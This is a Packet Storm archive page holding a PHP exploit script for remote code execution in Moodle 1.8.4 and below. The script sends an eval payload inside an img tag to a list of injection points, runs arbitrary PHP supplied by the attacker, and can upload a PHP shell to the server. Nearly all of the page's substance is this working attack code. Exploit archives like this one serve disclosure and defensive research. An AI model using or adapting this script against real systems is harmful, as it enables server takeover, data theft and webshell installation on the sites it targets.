what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

moodle-exec.txt

moodle-exec.txt
Posted Sep 3, 2008
Authored by zurlich.ipt

Moodle versions 1.8.4 and below remote code execution exploit.

tags | exploit, remote, code execution
SHA-256 | b12d5fcaf3b259962d8a11ef243d4975a7f2d75b27c4f2182e97e9a20aa36af6

moodle-exec.txt

Change Mirror Download
<?php
/**
* Moodle <= 1.8.4 remote code execution
*/
$url = 'http://target.ru/moodle';
$proxy = 'localhost:8118';

$code = $argv[1];
if(!$code) {
echo 'Sample use:
'.$argv[0].' "phpinfo()" > phpinfo.html
'.$argv[0].' "echo `set`"
'.$argv[0].' /full/local/path/to/file/for/upload/php_shell.php
';
exit;
}
$upload = false;
if(file_exists($code) && is_file($code)) {
$upload = $code;
$code = 'move_uploaded_file($_FILES[file][tmp_name], basename($_FILES[file][name]))';
}
$code .= ';exit;';

$injection_points = array(
'blocks/rss_client/block_rss_client_error.php' => array('error'),
'course/scales.php?id=1' => array('name', 'description'),
'help.php' => array('text'),
'login/confirm.php' => array('data', 's'),
'mod/chat/gui_basic/index.php?id=1' => array('message'),
'mod/forum/post.php' => array('name'),
'mod/glossary/approve.php?id=1' => array('hook'),
'mod/wiki/admin.php' => array('page'),
);
$file = array_rand($injection_points);
$param = $injection_points[$file][array_rand($injection_points[$file])];
$value = '<img src=http&{${eval($_POST[cmd])}};://target.ru>';

$post_data = array($param=>$value, 'cmd'=>$code);
if($upload) {
echo "Check at:\n\t\t".$url.'/'.dirname($file).'/'.basename($upload)."\n";
$post_data["file"] = '@'.$upload;
}

$c = curl_init();
curl_setopt($c, CURLOPT_URL, $url.'/'.$file);
curl_setopt($c, CURLOPT_PROXY, $proxy);
curl_setopt($c, CURLOPT_POST, true);
curl_setopt($c, CURLOPT_POSTFIELDS, $post_data);
curl_setopt($c, CURLOPT_RETURNTRANSFER, true);
curl_setopt($c, CURLOPT_HEADER, false);
echo curl_exec($c);
curl_close($c);
?>


Login or Register to add favorites

File Archive:

May 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    May 1st
    44 Files
  • 2
    May 2nd
    5 Files
  • 3
    May 3rd
    11 Files
  • 4
    May 4th
    0 Files
  • 5
    May 5th
    0 Files
  • 6
    May 6th
    28 Files
  • 7
    May 7th
    3 Files
  • 8
    May 8th
    4 Files
  • 9
    May 9th
    54 Files
  • 10
    May 10th
    12 Files
  • 11
    May 11th
    0 Files
  • 12
    May 12th
    0 Files
  • 13
    May 13th
    18 Files
  • 14
    May 14th
    11 Files
  • 15
    May 15th
    17 Files
  • 16
    May 16th
    13 Files
  • 17
    May 17th
    22 Files
  • 18
    May 18th
    0 Files
  • 19
    May 19th
    0 Files
  • 20
    May 20th
    17 Files
  • 21
    May 21st
    18 Files
  • 22
    May 22nd
    7 Files
  • 23
    May 23rd
    111 Files
  • 24
    May 24th
    27 Files
  • 25
    May 25th
    0 Files
  • 26
    May 26th
    0 Files
  • 27
    May 27th
    6 Files
  • 28
    May 28th
    12 Files
  • 29
    May 29th
    31 Files
  • 30
    May 30th
    0 Files
  • 31
    May 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close